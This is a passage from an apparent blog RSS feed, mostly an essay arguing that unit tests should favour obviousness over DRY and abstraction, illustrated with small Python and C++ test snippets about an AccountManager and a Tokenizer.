&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s not so sinful to ship hacky code when you&amp;rsquo;re a founder.
&lt;ul>
&lt;li>Most developers learn as employees that if they ship hacky code, it will be difficult to get buy-in from management to go back and fix the code later, so they never want to ship hacky code.&lt;/li>
&lt;li>As a founder, you can just go back and fix hacky code when it&amp;rsquo;s sensible to do so.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>For most repetitive tasks, it&amp;rsquo;s better to hire a low-cost virtual assistant to do it manually and then automate it when the work volume warrants it.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Why Good Developers Write Bad Unit Tests</title><link>https://mtlynch.io/good-developers-bad-tests/</link><pubDate>Fri, 09 Nov 2018 00:00:00 +0000</pubDate><guid>https://mtlynch.io/good-developers-bad-tests/</guid><description>&lt;p>Congratulations! You&amp;rsquo;ve finally written so many lines of code that you can afford a beach house. You hire Peter Keating, an architect world-famous for his skyscrapers, who assures you that he has brilliant plans for your beachfront property.&lt;/p>
&lt;p>Months later, you arrive at the grand unveiling. Your new home is an imposing five-story behemoth of steel, concrete, and reflective glass. As you pass through the revolving doors, you track sand onto the opulent marble floor. Inside, you find a reception desk backed by an elevator bank. Upstairs, your master bedroom and three guest rooms are just four adjoining office cubicles.&lt;/p></description><content:encoded>&lt;p>Congratulations! You&amp;rsquo;ve finally written so many lines of code that you can afford a beach house. You hire Peter Keating, an architect world-famous for his skyscrapers, who assures you that he has brilliant plans for your beachfront property.&lt;/p>
&lt;p>Months later, you arrive at the grand unveiling. Your new home is an imposing five-story behemoth of steel, concrete, and reflective glass. As you pass through the revolving doors, you track sand onto the opulent marble floor. Inside, you find a reception desk backed by an elevator bank. Upstairs, your master bedroom and three guest rooms are just four adjoining office cubicles.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/good-developers-bad-tests/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/good-developers-bad-tests/cover_hu_d955f53f76ff1bca.jpg 300w, https://mtlynch.io/good-developers-bad-tests/cover_hu_ef4d3a654977e9d4.jpg 600w, https://mtlynch.io/good-developers-bad-tests/cover_hu_4d657cc72c09db55.jpg 800w, https://mtlynch.io/good-developers-bad-tests/cover.jpg 1024w'
 src="https://mtlynch.io/good-developers-bad-tests/cover.jpg" alt="Architect presenting skyscraper on the beach" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Peter Keating, expert architect, can&amp;rsquo;t understand why you&amp;rsquo;re disappointed. &amp;ldquo;I followed &lt;strong>all&lt;/strong> the best practices,&amp;rdquo; he tells you, defensively. The walls are three feet thick because structural integrity is vital. Therefore, your home is &lt;em>better&lt;/em> than the breezy, light-filled homes neighboring it. You may not have large, oceanside windows, but Keating tells you that such windows are not best practice — they reduce energy efficiency and distract office workers.&lt;/p>
&lt;p>Too often, software developers approach unit testing with the same flawed thinking. They mechanically apply all the &amp;ldquo;rules&amp;rdquo; they learned in production code without examining whether they&amp;rsquo;re appropriate for tests. As a result, they build skyscrapers at the beach.&lt;/p>
&lt;h2 id="test-code-is-not-like-other-code">Test code is not like other code&lt;/h2>
&lt;p>Production applications typically involve thousands to millions of lines of code. They&amp;rsquo;re too large for humans to conceptualize all at once. To manage the complexity, language designers have provided mechanisms like functions and class hierarchies that allow developers to think in abstractions.&lt;/p>
&lt;p>Good production code achieves encapsulation. It allows the reader to navigate large systems with ease, diving down into the details or rising to a higher level of abstraction, as needed.&lt;/p>
&lt;p>Test code is a different beast. A good unit test is often small enough that a developer can conceptualize all the logic at once. Adding layers of abstraction to test code increases its complexity. Tests are a diagnostic tool, so they should be as simple and obvious as possible.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Good production code is well-factored; good test code is &lt;em>obvious&lt;/em>.&lt;/strong>
&lt;/div>














 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img align-right" style="max-width: 325px">



 &lt;a href="https://web.archive.org/web/20251211001057/https://unsplash.com/photos/closeup-photo-of-ruler-and-thread-JNpmCYZID68">
 &lt;img
 
 sizes="(min-width: 768px) 325px, 98vw"
 srcset='https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped_hu_e00ab9337d3cee7e.jpg 300w, https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped_hu_400d36f3bebeaaa1.jpg 600w, https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped_hu_61f3e46df161cf19.jpg 800w, https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped_hu_25676dac7c78c2d0.jpg 1200w, https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped.jpg 1678w'
 src="https://mtlynch.io/good-developers-bad-tests/dane-deaner-272363-unsplash-cropped.jpg" alt="Image of a ruler" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Think of a ruler. It has existed in the same form for hundreds of years because it&amp;rsquo;s uncomplicated and easy to interpret. Suppose I invented a new ruler that measured in &amp;ldquo;abstract ruler units.&amp;rdquo; To convert from &amp;ldquo;ruler units&amp;rdquo; to inches or centimeters, you&amp;rsquo;d use a separate conversion chart.&lt;/p>
&lt;p>If I offered such a ruler to a carpenter, they&amp;rsquo;d smack me in the face with it. It would be absurd to add a layer of abstraction to a tool that gives clear, unambiguous information.&lt;/p>
&lt;p>Good test code is no different. It should produce clear results without forcing the reader to jump through multiple levels of indirection. Developers often lose sight of this because it differs from how they learned to write production code.&lt;/p>
&lt;h2 id="a-good-developers-bad-test">A good developer&amp;rsquo;s bad test&lt;/h2>
&lt;p>I often see otherwise talented developers write tests like the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_initial_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> initial_score = &lt;span style="color:#24909d">self&lt;/span>.account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">150.0&lt;/span>, initial_score)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>What does that test do? It retrieves a &amp;ldquo;score&amp;rdquo; for a user with the name &lt;code>joe123&lt;/code> and verifies that the score is 150. At this point, you should have the following questions:&lt;/p>
&lt;ol>
&lt;li>Where did the &lt;code>joe123&lt;/code> account come from?&lt;/li>
&lt;li>Why do I expect &lt;code>joe123&lt;/code>&amp;rsquo;s score to be 150?&lt;/li>
&lt;/ol>
&lt;p>Perhaps the answers are in the &lt;code>setUp&lt;/code> method, which the test framework calls before executing each test function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">setUp&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database = MockDatabase()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database.add_row({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;username&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;score&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">150.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.account_manager = AccountManager(database)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Okay, the &lt;code>setUp&lt;/code> method created the &lt;code>joe123&lt;/code> user with a score of 150, which explains why &lt;code>test_initial_score&lt;/code> expected those values. Now, all is well with the world, right?&lt;/p>
&lt;p>No, this is a &lt;strong>bad test&lt;/strong>.&lt;/p>
&lt;h2 id="keep-the-reader-in-your-test-function">Keep the reader in your test function&lt;/h2>
&lt;p>When you write a test, think about the next developer who will see the test break. They don&amp;rsquo;t want to read your entire test suite, and they certainly don&amp;rsquo;t want to read a whole inheritance tree of test utilities.&lt;/p>
&lt;p>If a test breaks, the reader should be able to diagnose the problem by reading the test function in a straight line from top to bottom. If they have to jump out of the test to read ancillary code, the test has not done its job.&lt;/p>
&lt;p>With this in mind, here&amp;rsquo;s a rewrite of the test from the previous section:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_initial_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database = MockDatabase()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database.add_row({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;username&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;score&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">150.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager = AccountManager(database)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> initial_score = account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">150.0&lt;/span>, initial_score)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>All I did was inline the code from the &lt;code>setUp&lt;/code> method, but it made a world of difference. Now, everything the reader needs is right there in the test. It also follows the &lt;a href="http://wiki.c2.com/?ArrangeActAssert">arrange, act, assert&lt;/a> structure, which makes each phase of the test distinct and obvious.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>The reader should understand your test without reading any other code.&lt;/strong>
&lt;/div>

&lt;h2 id="dare-to-violate-dry">Dare to violate DRY&lt;/h2>
&lt;p>Inlining the setup code is all well and good for a single test, but what happens if I have many tests? Won&amp;rsquo;t I duplicate that code every time? Prepare yourself, because I&amp;rsquo;m about to advocate &lt;a href="https://en.wikipedia.org/wiki/Copy_and_paste_programming">copy/paste programming&lt;/a>.&lt;/p>
&lt;p>Here&amp;rsquo;s another test of the same class:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_increase_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database = MockDatabase() &lt;span style="color:#999;font-style:italic"># &amp;lt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> database.add_row({ &lt;span style="color:#999;font-style:italic"># &amp;lt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;username&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>, &lt;span style="color:#999;font-style:italic"># &amp;lt;--- Copy/pasted from&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;score&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">150.0&lt;/span> &lt;span style="color:#999;font-style:italic"># &amp;lt;--- previous test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }) &lt;span style="color:#999;font-style:italic"># &amp;lt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager = AccountManager(database) &lt;span style="color:#999;font-style:italic"># &amp;lt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.adjust_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> adjustment=&lt;span style="color:#3677a9">25.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">175.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>For strict adherents to the &lt;a href="https://en.wikipedia.org/wiki/Don%27t_repeat_yourself">principle of DRY&lt;/a> (&amp;ldquo;don&amp;rsquo;t repeat yourself&amp;rdquo;), the above code is horrifying. I&amp;rsquo;m blatantly repeating myself; I copied six lines from the previous test verbatim. Worse, I&amp;rsquo;m arguing that my DRY-violating tests are &lt;em>better&lt;/em> than tests that are free of repeated code. How can this be?&lt;/p>
&lt;p>If you can achieve clear tests without duplicating code, that&amp;rsquo;s ideal, but remember that nonredundant code is the means, not the ends. The end goal is clear, simple tests.&lt;/p>
&lt;p>Before blindly applying DRY to your tests, think about what will make the problem obvious when a test fails. Refactoring may reduce duplication, but it also increases complexity and potentially obscures information when things break.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Accept redundancy if it supports simplicity.&lt;/strong>
&lt;/div>

&lt;h2 id="think-twice-before-adding-helper-methods">Think twice before adding helper methods&lt;/h2>
&lt;p>Maybe you can live with copy/pasting six lines in every test, but what if &lt;code>AccountManager&lt;/code> required more setup code?&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_increase_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># vvvvvvvvvvvvvvvvvvvvv Beginning of boilerplate code vvvvvvvvvvvvvvvvvvvvv&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> user_database = MockDatabase()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> user_database.add_row({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;username&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;score&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">150.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> privilege_database = MockDatabase()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> privilege_database.add_row({
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;privilege&amp;#39;&lt;/span>: &lt;span style="color:#ed9d13">&amp;#39;upvote&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#ed9d13">&amp;#39;minimum_score&amp;#39;&lt;/span>: &lt;span style="color:#3677a9">200.0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> })
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> privilege_manager = PrivilegeManager(privilege_database)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url_downloader = UrlDownloader()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager = AccountManager(user_database,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> privilege_manager,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url_downloader)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># ^^^^^^^^^^^^^^^^^^^^^ End of boilerplate code ^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.adjust_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> adjustment=&lt;span style="color:#3677a9">25.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">175.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That&amp;rsquo;s 15 lines just to get an instance of &lt;code>AccountManager&lt;/code> and begin testing it. At that level, there&amp;rsquo;s so much boilerplate that it distracts from the behavior you&amp;rsquo;re testing.&lt;/p>
&lt;p>Your natural inclination might be to delegate all the uninteresting code to test helper methods, but you should first ask a more vital question: why is the system so difficult to test?&lt;/p>
&lt;p>Excessive boilerplate code is often a symptom of weak architecture. For example, the test above reveals several &lt;a href="https://en.wikipedia.org/wiki/Design_smell">design smells&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>account_manager = AccountManager(user_database,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> privilege_manager,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> url_downloader)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>AccountManager&lt;/code> accesses the &lt;code>user_database&lt;/code> directly, but its next parameter is &lt;code>privilege_manager&lt;/code>, a wrapper for &lt;code>privilege_database&lt;/code>. Why is it operating on two different layers of abstraction? And what is it doing with a &amp;ldquo;URL downloader?&amp;rdquo; That certainly seems conceptually distant from its other two parameters.&lt;/p>
&lt;p>In this case, refactoring &lt;code>AccountManager&lt;/code> solves the root problem whereas adding helper methods would merely bury the symptoms.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>When tempted to write test helper methods, try refactoring your production code instead.&lt;/strong>
&lt;/div>

&lt;h2 id="if-you-need-helper-methods-write-them-responsibly">If you need helper methods, write them responsibly&lt;/h2>
&lt;p>You don&amp;rsquo;t always have the freedom to tear apart a production class for testability. Sometimes, helper methods are your only choice, so when you need them, write them well.&lt;/p>
&lt;p>An effective helper method supports the principle of &amp;ldquo;keep the reader in your test function.&amp;rdquo; It&amp;rsquo;s okay to extract boilerplate code into a helper function as long as it doesn&amp;rsquo;t degrade the reader&amp;rsquo;s understanding of the test.&lt;/p>
&lt;p>Specifically, helper methods should &lt;strong>not&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>bury critical values&lt;/li>
&lt;li>interact with the object under test&lt;/li>
&lt;/ul>
&lt;p>Here&amp;rsquo;s an example of a helper method that violates these guidelines:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">add_dummy_account&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>): &lt;span style="color:#999;font-style:italic"># &amp;lt;- Helper method&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> dummy_account = Account(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name=&lt;span style="color:#ed9d13">&amp;#39;Joe Bloggs&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> email=&lt;span style="color:#ed9d13">&amp;#39;joe123@example.com&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> score=&lt;span style="color:#3677a9">150.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic"># BAD: Helper method hides a call to the object under test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.account_manager.add_account(dummy_account)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_increase_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.account_manager = AccountManager()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.add_dummy_account()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.adjust_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> adjustment=&lt;span style="color:#3677a9">25.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">175.0&lt;/span>, &lt;span style="color:#999;font-style:italic"># BAD: Relies on value set in helper method&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The reader can&amp;rsquo;t understand why the final score should be 175 unless they search out the 150 hidden in the helper method. The helper also obscures &lt;code>account_manager&lt;/code>&amp;rsquo;s behavior by hiding a call to &lt;code>add_account&lt;/code> instead of keeping all interactions in the test function itself.&lt;/p>
&lt;p>Here&amp;rsquo;s a rewrite that addresses those issues:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">make_dummy_account&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>, username, score):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> Account(username=username,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name=&lt;span style="color:#ed9d13">&amp;#39;Dummy User&amp;#39;&lt;/span>, &lt;span style="color:#999;font-style:italic"># &amp;lt;- OK: Buries values but they&amp;#39;re&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> email=&lt;span style="color:#ed9d13">&amp;#39;dummy@example.com&amp;#39;&lt;/span>, &lt;span style="color:#999;font-style:italic"># &amp;lt;- irrelevant to the test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> score=score)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">def&lt;/span> &lt;span style="color:#447fcf">test_increase_score&lt;/span>(&lt;span style="color:#24909d">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager = AccountManager()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.add_account(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> make_dummy_account(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>, &lt;span style="color:#999;font-style:italic"># &amp;lt;- GOOD: Relevant values stay&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> score=&lt;span style="color:#3677a9">150.0&lt;/span>)) &lt;span style="color:#999;font-style:italic"># &amp;lt;- in the test&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.adjust_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> adjustment=&lt;span style="color:#3677a9">25.0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">self&lt;/span>.assertEqual(&lt;span style="color:#3677a9">175.0&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> account_manager.get_score(username=&lt;span style="color:#ed9d13">&amp;#39;joe123&amp;#39;&lt;/span>))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It still buries values in the helper method, but they&amp;rsquo;re irrelevant to the test. It also pulls the &lt;code>add_account&lt;/code> call back into the test so that the reader can trivially trace everything that happens to &lt;code>account_manager&lt;/code>.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Keep helper methods free of any information the reader needs to understand the test.&lt;/strong>
&lt;/div>

&lt;h2 id="go-crazy-with-long-test-names">Go crazy with long test names&lt;/h2>
&lt;p>Which of the following function names would you prefer to see in production code?&lt;/p>
&lt;ul>
&lt;li>&lt;code>userExistsAndTheirAccountIsInGoodStandingWithAllBillsPaid&lt;/code>&lt;/li>
&lt;li>&lt;code>isAccountActive&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>The first conveys more information but imposes the burden of a 57-character name. Most developers are willing to sacrifice a bit of precision in favor of for a concise, almost-as-good name like &lt;code>isAccountActive&lt;/code> (except for Java developers, for whom both names are offensively terse).&lt;/p>
&lt;p>For test functions, there&amp;rsquo;s a crucial factor that changes the equation: you never write &lt;em>calls&lt;/em> to test functions. A developer types out a test name exactly once – in the function signature. Given this, brevity still matters, but it matters less than in production code.&lt;/p>
&lt;p>Whenever a test breaks, the test name is the first thing you see, so it should communicate as much as possible. For example, consider this production class:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c++" data-lang="c++">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">class&lt;/span> &lt;span style="color:#447fcf;text-decoration:underline">Tokenizer&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">public&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Tokenizer(std::unique_ptr&amp;lt;TextStream&amp;gt; stream);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> std::unique_ptr&amp;lt;Token&amp;gt; NextToken();
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">private&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> std::unique_ptr&amp;lt;TextStream&amp;gt; stream_;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>};
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Suppose you ran your test suite and this line appeared in the output:&lt;/p>
